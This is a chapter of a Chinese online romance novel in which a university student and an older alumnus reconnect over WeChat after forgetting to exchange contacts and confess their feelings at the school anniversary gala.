    他有些艰涩道,“我……不是喜欢用暴力解决问题的人,只是那个时候……”


    徐洛榆知道他在想什么了。


    “要是我坐在你那个位置,我就把盆子甩手扣他脸上了。”


    许明漾愣了愣,随即又无奈又好笑:“我还以为你会怕我。”


    徐洛榆正色道:“如果你把拳头挥向无辜、挥向亲近之人,或者你只会用拳头解决问题,那我一定离你远远的。”


    许明漾严肃回复:“我不会的。”


    徐洛榆低头拾起他的右手端详,“疼吗?”


    许明漾摇摇头,想到她这会儿看不见,出声道:“不疼。”


    徐洛榆仰头看向他,然后招招手让他弯腰低下来些。她轻声道:“我也没觉得你做错了啊,你别害怕。”


    听完,许明漾忍俊不禁,也跟着她笑了。


    “那我以后还能约你出来吗?我欠你一顿饭,还有一个要求。”


    徐洛榆笑呵呵道:“看我时间咯。”


    许明漾弯唇笑说:“好。”


    等他们分别后,许明漾望着徐洛榆的身影消失在宿舍楼入口,然后才转身准备离开。


    只是走出几步后他忽地停住,急急掉转方向,可这时候哪里还看得到徐洛榆的影子!


    他们还没有添加联系方式啊!


    徐洛榆回宿舍洗漱完,分手的室友已经差不多被安慰好了,就是时不时想到伤心事还会忍不住掉眼泪。唉,情理之中。被伤了的心是需要时间缝补的。


    徐洛榆忍不住去想,如果有一天她和喜欢过的人分了手,会不会也这么难过,情绪爆发的时候也是这般泣不成声?


    她甩甩头,不想因未发生的事内耗。


    爬到床上,徐洛榆翘着腿划拉手机,放松脑子看小说。


    直到宿舍熄了灯,她忽然惊坐起身!动作之大令下方还开着台灯的室友吓一跳。


    “怎么了榆榆?”


    徐洛榆:“坏了!我没加许明漾微信啊!”


    其他舍友满头问号。


    “他不是在追你吗?”


    “你俩不是在谈恋爱吗?”


    “你们好像在玩一种很新的暧昧。”


    .


    就算是校友也不能一大早就进宿舍区,许明漾本来是想早点来碰运气,或许徐洛榆早上有课,下楼还能碰到。


    但第一步就被门卫制止了。


    “干什么的?你这信息上都显示毕业几年了,这个时间来宿舍区做什么?老实交代!”


    许明漾只好在大门外等待。


    直到七点半,赶早课的人群蜂拥而出,哪里还能看得到谁是谁!


    晚上门卫会松懈些,只要能刷脸进去就睁一只眼闭一只眼了。


    许明漾在宿舍楼下面等着,这一整天他都焦急不已。可他还是没等到。


    他不知道是不是错过了。


    许明漾当然可以直接问任教的朋友,但那个朋友又不认识所有学生,若是要找,肯定会惊动其他老师。且他潜意识觉得,毕竟徐洛榆还是在校生,让老师知道她和他的关系,哦不,他们甚至还没有什么关系,难道说是朋友间忘记留联系方式了吗?


    谁信啊!只会觉得许明漾居心否侧,可能还会对徐洛榆戴有色眼镜。


    所以找出入宿舍楼的同学这一步也行不通,会惊动宿管,然后宿管会怀疑他为什么认识徐洛榆却联系不了徐洛榆。


    许明漾扶额。大意了。为什么他会忘记这么重要的事情。


    恰好又在这时,公司传来消息,开辟的新产品线遇到点问题,他只得先行离开。


    徐洛榆也恹恹的。很不巧,今天是一周里唯一一天满课,晚上报社还有会议,本想着结束了就赶紧回宿舍的,结果又听说秦文鑫学长回来了,她就在编辑部社团活动室和社员聊天,心中记挂实习的事,徐洛榆挎着包又飞奔过去了。


    忙得完全闲不下来。


    等赶着宿舍门禁回到宿舍后,她匆匆洗漱完瘫到床上,终于从脑子里扒拉出某人。


    她觉得有些好笑,又很无奈。


    直到几天后,徐洛榆在整理校友的邀约名单并挨个进行联系时,她忽然注意到一个名字——许明漾。


    会是同一个人吗?


    她心头微跳。


    【对方已通过你的好友申请】


    【徐洛榆:学长好,我是2016届文院学生,我叫徐洛榆,诚邀您……】


    【我需要统计来参与此次校庆活动的校友,请问您届时是否方便……】


    对面回复得很慢。


    半小时后——


    【2008许明漾:嗯我大你八届。我叫许明漾。】


    【2008许明漾:抱歉,刚刚在开会没有看手机消息,才结束,不是故意晚回的】


    徐洛榆看着消息眉头微皱。虽然挺有礼貌,但这也没回答她的问题啊。


    她问是or否,对面回答嗯嗯哦哦。这种最麻烦了!


    【2008许明漾:冒昧问一下,你认识十一假期里去爬山然后和许明漾一起吃冰棍晚上一起吃饭最后一起回了宿舍并且还没有加联系方式的那个徐洛榆同学吗?我还欠她至少一顿饭】


    徐洛榆:!!


    【徐洛榆:真是你啊!!】


    【2008许明漾:真是我啊!!】


    【徐洛榆:哈哈哈哈哈哈我还担心是同名,贸然问了会让前辈觉得奇怪】


    【徐洛榆:不过你比我更怪!我都没想这么说】


    【徐洛榆:兔子狂笑.jpg】


    【许明漾:你本来想怎么问?】


    【徐洛榆:当然要含蓄点啊。“请问您十一假期里去爬山了吗?我有个朋友好像看到您了,仰慕您的成就,很想上前与您交谈,但又怕认错了人,所以就托我问一下,打扰您了”】


    【许明漾:我有理由怀疑你在逗我】


    【徐洛榆:我不管,你没有证据证明我的草稿不是这个!】


    【徐洛榆:邪恶兔兔.jpg】


    许明漾握着手机,忍不住弯唇。


    他还没有离开会议室,助理进来正想汇报些什么,看到老板的表情时只感觉略有惊悚。这种痴笑脸怎么可能出现在邪恶资本家脸上!


    不敢信,退出去,重新进来。


    许明漾已经恢复冷漠脸,抬眼:“有事?”


    这才对嘛。


    这段时间两个人都很忙,结果就是几乎一整个月都没有线下见过面。因为保持线上聊天的关系,他们也大概知道彼此难得的闲暇时间都对不上。


    如果在这种时候开门见山地直说想见一面,或者挪个时间吃个饭,也挺奇怪的。


    许明漾是A大杰出校友,毕业后自然也可以凭刷脸机进出校园。不过他不想在校园公共地方露出照片和太多信息,且几乎不参与校友聚会,遂即便有特意了解校史和校园荣誉的人,几乎没人注意到他的名字。


    即便留了印象,也对不上照片。


    徐洛榆只知自己认识的这个许明漾是众多毕业校友中的一员,其余的他没有细说她也不会深问。


    她当下更在意的是另一件事。


    【AAA落玉:学哥,下周校庆晚会,你会来吗?】


    虽然之前她就问过,但这次不一样,她还是想再问一遍。


    【许明漾:不会】


    【“许明漾”撤回了一条信息】


    【许明漾:不一定。叫我学哥,肯定有事。兔兔大王有什么吩咐?】


    徐洛榆对着手机屏幕憋笑,原本有些紧张的心情也缓了许多。


    细数起来,他们目前才只见过四面而已。如果到那时他会来的话……


    【AAA落玉:我有演出,所以想问你有没有时间,要不要来支持一下?】


    没等对面回消息,徐洛榆立马接了一条。


    【AAA落玉:我很紧张】


    【AAA落玉:乖萌兔兔.jpg】


    另一边的许明漾握着手机愣了愣,他忍不住想起那个大胆主动中又有些腼腆的姑娘,羞恼的时候过分可爱,笑起来时眼睛亮亮的像清透的玉石,还有种令他移不开视线的鲜活。


    他想象不出来她会表演什么样的节目,便回道——【我应该会去。不过,方便提前透露你的节目内容吗?】


    【AAA落玉:保密哟】


    【AAA落玉:兔兔大王叉腰.gif】


    许明漾不禁失笑,忍不住逗她。


    【许明漾:坏了,万一到时候我离得太远,看不清舞台上的人,也认不出你,怎么办呀?】


    【AAA落玉:那你就待在那,我会去找你】


    我会去找你。


    【AAA落玉:结束后我就过来,你信不信呀,我肯定能在人群里认出你】


    许明漾感觉心头忽而被什么软软的东西塞满了。


    ……


    操场很大,舞台很远。灯光照不了所有范围,徐洛榆却看到了许明漾。他坐在草地上,轻轻挥舞着手中的荧光棒。


    她看不到他的表情,但她隐约感觉到,他应该是笑着的。


    他并不是在为现在进行的表演“鼓掌”,而是循着后台方向期待着准备下一个登场的她。


    预备着,成为第一个为她“鼓掌”的观众。


    下了舞台后,徐洛榆提起裙摆朝着操场一角奔来。


    许明漾已经站了起来,他看不见徐洛榆了。


    小姑娘从台前退下后便如一滴墨融入了夜色,漆黑的夜里,彩色灯光闪烁,人头攒动,眼前却是茫茫一片。


    他垂眼拿起手机,正准备发个消息,却忽然福至心灵,猛地抬头。


    张扬明艳的黄色直直地撞进了他的怀里,也狠狠敲在了他的心上。


    他向后踉跄了两步,手却圈得很紧。


    心脏扑通扑通急如擂鼓。有什么东西忽地堵住了嗓子眼,似乎马上就要冲出来!


    徐洛榆仰起头,嘴唇一张一合说了什么,但许明漾却听不清。


    那一刻,舞台传来热烈的摇滚乐,操场响起了震耳欲聋的欢呼,他的心跳声也持续敲击着耳膜。


    喉咙里的枷锁崩裂了。


    “我喜欢你。”


    视线中的女孩明显一愣。


    许明漾又不受控制地重复了一遍:“玉玉,我喜欢你。”


    就这样说出来了。


    两个人都愣愣的,却始终维持着环抱住对方的姿势,一个仰头一个低头,目光相缠。


    不知过了多久,摇滚乐变成了抒情歌,欢呼变成了低吟浅唱,乱晃的灯光变成了舒缓的蓝色,柔柔地照在人身上。


    徐洛榆踮起脚,环住许明漾的脖子将他的脑袋拉下来了些,她贴在他耳边说:“刚刚你可能没有听清,那我就再说一遍。”


    “我喜欢你,许明漾。”


    “我也喜欢你,许明漾。”


    许明漾第一回觉得,原来他的名字这么好听。


    她以和他同样的心意呼唤着他的名字。她的声音透过耳膜进入他的身体,在不知名处漾起一片涟漪。


    .


    第一次拥抱,第一次接吻……第一次——恋爱。


    他们是彼此的初恋。然后,笨拙而真诚地步入热恋。


    在无数个冰冷的夜里,紧紧相拥着传递热度,诉说满腔情意,同每一对热恋的情侣一样,许下永不分离的约定。


    “狗狗,拉钩。”


    “宝宝,牵上了就不要放手了哦。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)